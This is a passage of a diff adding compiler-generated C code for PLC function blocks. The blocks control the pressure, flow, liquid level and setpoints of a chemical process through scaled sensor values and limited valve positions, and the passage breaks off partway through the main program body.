+ __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + 